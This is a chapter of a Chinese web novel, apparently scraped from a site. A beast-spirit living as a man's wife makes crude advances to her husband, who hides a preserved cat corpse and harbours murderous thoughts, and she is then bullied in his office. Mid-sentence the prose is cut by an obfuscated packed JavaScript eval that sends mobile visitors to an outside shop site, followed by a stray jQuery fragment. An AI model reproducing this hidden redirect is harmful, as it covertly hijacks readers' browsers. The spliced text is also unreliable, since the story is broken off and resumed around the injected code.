段洛生迅速将桌上的东西收在抽屉,一动不动坐在黑暗里。
本想等女人敲得没了兴趣自行离去,奈何她就是不肯放弃,一直敲个不停。
他顿了顿,起身,走去打开了门。
陆轻夜倚着门框,懒洋洋地打了个呵欠,见到他,表情颇为不满:“怎么这么半天才开门——来吧,抓紧时间。”
她转过身背对着他,两手扶在地面,朝他轻轻翘起屁股。
段洛生皱了皱眉,此情此景很难让他维持住温和的口吻,不自觉声音发冷:“轻夜,你这是干什么?”
“跟你怎么生孩子啊……不是这个姿势吗?”
女人回忆了一下那些雌性异兽/交/配时的姿势,又将身体稍稍压低,屁股翘得更高。没错啊,就是这样的。
见男人迟迟没有交/配上来,她回过头,发觉他的脸色不好看,立即反应过来人类在这种事情上特别注重隐私。
“你要是不习惯在这里,我去你房间也行。”
说完,异兽就自顾自撞开有意挡在门口的男人,走到黑暗中,自觉趴到床上。
段洛生没有说话,依旧站在门口,身体跟随她的闯入而向着屋内偏移。
走廊里斜切进来的一束光,将他的影子在地上折叠得又黑又长。
陆轻夜两条膝盖跪在床边,两手向前深深伸了个懒腰,趴在床上等了十几秒,她倒把自己等困了。
一看男人站在那里不挪窝,她又不耐烦地妥协,翻身下床:“原来你喜欢在那个地方吗?啊呀,早说嘛,真是麻烦……”
她重新走回门边,段洛生忍无可忍,一下抓住她的手腕。
陆轻夜想要抓紧时间,直接抬起另一只手,帮他轻抚。
男人全身一震,脸色即刻冷得直冒黑烟。
陆轻夜没有在意,毕竟这一个弱小的人类对她产生不了任何威胁——她只是奇怪那东西怎么还没有反应。
下一秒钟,视线混乱,她被段洛生粗暴地按到了墙上。
对方用的力气很大,墙面冰冷坚硬,她这个异兽也因为这一撞而背部吃痛。
不过,陆轻夜很快就展开了反击。
人类的力气不足以束缚住她,轻松挣脱开后,立即将男人整个人按倒在地。
砰的一声重响!段洛生撞到地面,连眼镜都被撞飞到一边。
他微微瞪大眼睛,一瞬间,内心的震惊甚至大过了被摸的耻意。
没想到这个女人会有这么大的力气,几乎无法找到挣脱的空隙。
房间猝不及防安静了下来。
陆轻夜两手压着他的身体,得意地扬了扬头:“想偷袭我?你还嫩着呢。”
她摸到了男人腰间碍事的金属扣,不会解,干脆一把扯烂。
这一刻,段洛生已不像往日那般淡定,愤怒与耻意交织,胸口剧烈地起伏起来。
眼眶中的那一对黑眼珠没有了镜片的遮掩,阴冷之气暴露无遗。
陆轻夜试了半天都没能成功,很疑惑地凑过去,观察。
男人的表情冷漠得瘆人,紧紧咬着牙,浑身的气场尖锐而恐怖。
他的杀意从齿缝间挤出:“以为我对什么东西都会有感觉吗?”
——怎么可能对着你这只身份不明、不知廉耻的怪物*得起来?
陆轻夜视线上移,发现男人脖颈绷起一根清晰无比的青筋,似乎杀意爆棚又羞耻至极,血色浸透了他的耳根。
这可比他平时笑眯眯的样子有意思多了。
在对方愤怒而阴郁的注视中,她饶有兴致一笑:“你不想跟我交/配,想跟我打架,对吗?”
段洛生没有说话,一动不动盯着她,视线像把锋利的刀子,在她的大动脉处反复摩擦。
如果视线可以杀人,那她早就被男人大卸八块了。
陆轻夜久违地感受到了战斗的兴奋:“是个不错的眼神,但我怕一不小心把你给打死……”
“从我身上,滚开!”
她先没有动:“你真不打算让我给你留个孩子?”
听罢,男人唇角扬起一抹极致讥讽的笑。
陆轻夜再没有眼色,也能从对方的眼神中感受到打从心底里的厌恶与嫌弃。
也好,她倒是省去一件麻烦事了。
菩萨啊菩萨,您看见了,是这个男人不想要孩子的,可不是我不给。
陆轻夜高高兴兴松开了力道,从他身上爬起来:“那我就不打扰你的好兴致了,你继续。”
段洛生从地上撑起身体,脸色阴沉戴好眼镜,见女人意味深长看了一眼他藏东西的柜子抽屉,眉头皱得更深。
她注意到了?
锁上门,他走回去,拉开抽屉,里面静静躺着一只橘猫的尸体。
前两天安慰小男孩,对方轻易就提供了埋猫的地点,他找了个机会挖出来带回公寓,进行了防腐处理。
猫咪破损的肠子被他塞了回去,肚子也差不多缝好了,但尸体还是散发出了腐臭的味道。
闻到这个味道不稀奇,稀奇的是那个女人竟然能够一下就精确的锁定位置。
一瞬间,愤怒和羞耻交织,再加上被人发现秘密的烦躁感,段洛生的杀意简直难以自控。
她的力气大到超出认知,在找到她的弱点之前还是不能轻举妄动。这样想着,他又回到了浴室。
被她触碰过的地方令他恶心,还需要仔仔细细清洗。
第二天早上,夫妻俩若无其事坐在一起吃饭,昨晚的事情好像一个谁都不在意的小插曲。
忽然,段洛生端起咖啡问起:“轻夜,好像一直没听说你在哪儿上班。”
埋头猛吃的异兽一怔。
男人抿了一口,放下杯子,眼神凌厉盯向她。
陆轻夜回想了一下那个女人随身携带的物品,里面好像有个工作证来着,在对方的审视中,她报出了那个公司的名字。
本以为这就算是蒙混过关了,安心吃饭,没想到对方紧接着就说:“原来你一直是在我公司上班吗?真是巧。”
陆轻夜脑中立即冒出个“冤家路窄”的词,尽管她不太懂是什么意思。
吃过早餐,两个“凑巧”在一个公司上班的人,理所应当的一同出门。
别说人类愁的慌,她这个异兽也愁得不行,她啥都不会只会打架,去公司里能做什么?
束游倒是给她提供了一个新的思路:没准杀害“陆轻夜”的真凶就藏在公司里。
抱着找真凶的念头,陆轻夜开开心心去上班,走进一幢人很多的华丽大厦里。
刚到一楼电梯间,她就被保安不客气地拦下:“没看见这是老板和贵宾专用的电梯吗?员工电梯在旁边。”
段洛生这个老板自然早早就顺利走进专用电梯,秘书正等在里面为他汇报工作。
见女人被拦下,他抬了下眼,对保安说:“让她进来。”
保安懵了一下,旋即放行。
此时正值上班高峰,隔壁员工电梯等着不少人,就这么眼睁睁看见一个毫不起眼的小员工走进了只有老板才能坐的电梯。
陆轻夜眨了眨眼,不懂就问:“那些人好像都在瞪我。”
男人自然能够想象到这个结果,头也没抬地看着文件。
第一天迈入职场的可怜异兽,这时还不知道迎接自己的会是什么。
专用电梯到达的同时,隔壁员工电梯也拉着满满当当的人类停下。
走出来的人们纷纷朝着段洛生笑容满面打招呼,然后眼神掠过陆轻夜的时候,瞬间降低了好几个度,变成了一记冷眼。
段洛生和善地对他们所有人报以微笑。
陆轻夜一边琢磨着这些人的变脸一边跟着人群往前走,突然被男人大庭广众叫住。
不知是否她的错觉,此时路过身边的人,脸色都有点不好看。
“中午等我一起吃饭吧?”段洛生走过来,伸出手,十分自然地将她鬓角的一缕碎发挽到耳后,“应该不会太晚。”
陆轻夜没想太多,点头应下。
段洛生的目的达到了,先一步转身,向着办公室方向走去。
跟了他很长时间的秘书并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796463|210527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不知道老板这是怎么了,快走了两步,试探性地问:“那午饭……”
“老样子,点一份。”
“可刚才您……”
段洛生偏过脸,睇他。
秘书立即识趣地闭了嘴。
可怜的异兽在公司里转悠了半天,终于在一个好心青年的提醒下找到了自己的工位。
至于其他人……不知眼睛是不是有什么毛病,老是朝她翻白眼。
“陆轻夜”使用的工位干净整洁,旁边养了一盆写着不要焦虑的绿植。
她刚落坐,一口气都还没顺畅地舒出来,一大叠很厚的文件就在她的面前从天而降。
“旷工七天,这是你积下来的活。”旁边的同事笑嘻嘻说,“别以为偷懒,就会有人帮你干。”
陆轻夜好奇地翻动了两页,就听见后面有人叫她:“陆轻夜,去把宣传部的展板对接一下。”
啥部?
啥板?
见她一脸茫然,那人轻哼一声:“装什么傻?真以为攀上高枝就不用干活了?”
就在这时,端着咖啡的一个人从陆轻夜面前路过,十分顺手地从她桌上抽了几张纸巾,扬长而去。
异兽想着先来后到,准备先把桌上的文件整理一下。这时,那个给她派活的女人又在催,她只好起身。
另一个人突然也在叫她:“陆轻夜,老板点的早茶到楼下了,你去取一下。”
陆轻夜简直一个头两个大,这个人类女人生前居然要处理这么多麻烦的事吗?她一时不知该先处理哪件事,无措地在工位处转圈。
见她这个蠢样,不少人发自内心冷笑。
这一幕,被办公室里的秘书看在眼里:“需要我去处理一下吗?”
段洛生正在看文件,指骨分明的手捏着纸张,翻过一页。
秘书从这份沉默中读懂了领导的意思,转身去忙自己的事。
秘书离开,他才堪堪抬起眼皮。
真是没想到,那个女人的工位原来距离他不到十米的距离。
说到底,她太过普通了,要不是这次的事,恐怕他一辈子都无法将眼神落在这个不起眼的女人身上。
刚准备收回目光,段洛生就看见一个年轻的男生走到了女人面前,主动和她对话。
看样子两个人聊得还不错,陆轻夜笑了起来。
段洛生讥讽地弯了下唇,问:“那个男生是新来的?”
秘书下意识看了一眼窗外:“对,新来的实习生,履历挺优秀的。”
“哦。”
优秀?有多优秀?能让那个女人和他聊那么长的时间?
秘书感觉气氛不太对,偷偷瞥了一眼。男人紧绷着下颌,手里翻着文件,眼神却不移地盯着外面的两人,应该是生气了。
碍于老板模棱两可的态度,他也不知该不该去插手。
终于,两个人分开了。
段洛生收回了目光。
秘书也松了口气。
谁知,这口气刚松了一半,工位那边就热闹了起来。
一叠文件纸张忽然像雪花一般腾空而起,在那之下,陆轻夜掐着程序员老王的脖子狠狠按在了地上。
秘书迅速瞥了一眼,老板竟然毫无反应。
就在刚刚,陆轻夜想要拿着整理好的文件装订一下,路过老王的工位,差点就被他故意伸出来的腿绊倒。
这无疑是在宣战,她干脆利落进攻将他放倒。
所有人纷纷起身观看这场闹剧。
老王手臂被她掰着,脸颊亲密接触地面,一再大叫着自己不是故意的,旁边人也在帮腔让她放手。
“直接报警吧。”
“可是,段总那边……”
“你看段总理她吗?都闹出这个动静了,还不是没人出面帮她。”
“就是,被玩玩罢了,还真以为自己不得了了?”
听见这番话,陆轻夜愣了一下,转头看向办公室方向。
方才还明亮的玻璃,此时变成了不透影的磨砂材质,证明她的丈夫一点都不想插手此事。